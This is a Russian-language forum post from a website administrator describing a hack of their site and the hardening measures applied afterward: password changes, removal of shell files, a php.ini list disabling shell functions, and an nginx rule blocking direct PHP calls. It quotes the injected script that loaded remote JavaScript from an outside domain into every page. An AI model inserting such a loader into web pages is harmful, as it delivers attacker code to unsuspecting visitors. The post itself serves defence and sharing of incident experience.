Всем привет!

Хочу поделиться некоторыми пережитым опытом и услышать мнения специалистов.

Не так давно на сайте, которым я занимаюсь более 3 лет, появился вредоносный код. Сайт имеет большую аудиторию и по этой причине стал жертвой хакера(ов).

В компилированные файлы шаблона вставлялся код следующего вида

<script>;document.write('<'+'script src=http://fljjsh'+'dqkrqq.ru/'+Math.round(Math.random()*99999999)+'.js></'+'script'+'>');</script>

Конфигурация сервака

• nginx/1.2.1
• php 5.4.4-14+deb7u5
• mysql 5.5.31-0+wheezy1
• memcached

Предпринятые меры защиты от взлома

1. Сменили все пароли: ssh, mysql, пароль админа сайта.
2. Нашли по логам shell-файлы и удалили их.
3. Закрыли найденную дырку в собственном плагине.
4. Поставили запрет за выполнение некоторых функций через php.ini
   

   ; отключаем вызов системных функций
   disable_functions = exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source,touch,ls 
   
   ; запрещаем php считывать директории кроме указанных
   open_basedir = /var/www/site.ru:/tmp
   
   ; запрещаем вызов несуществующих файлов php http://habrahabr.ru/post/100961/
   cgi.fix_pathinfo=0;

   
   
5. Запретили через nginx прямой вызов всех php файлов, кроме index.php
   

   # запрещаем вызов всех подозрительных файлов
   location ~* ^/.*(?<!index)\.(php|php3|php4|php5|phtml|phps|pl|pm)$ {
       deny all;
   }

Если у кого есть еще верные способы защиты от взлома, жду комментариев.

Хотелось бы услышать тех кто тоже столкнулся со взломом сайта и какие меры были предприняты.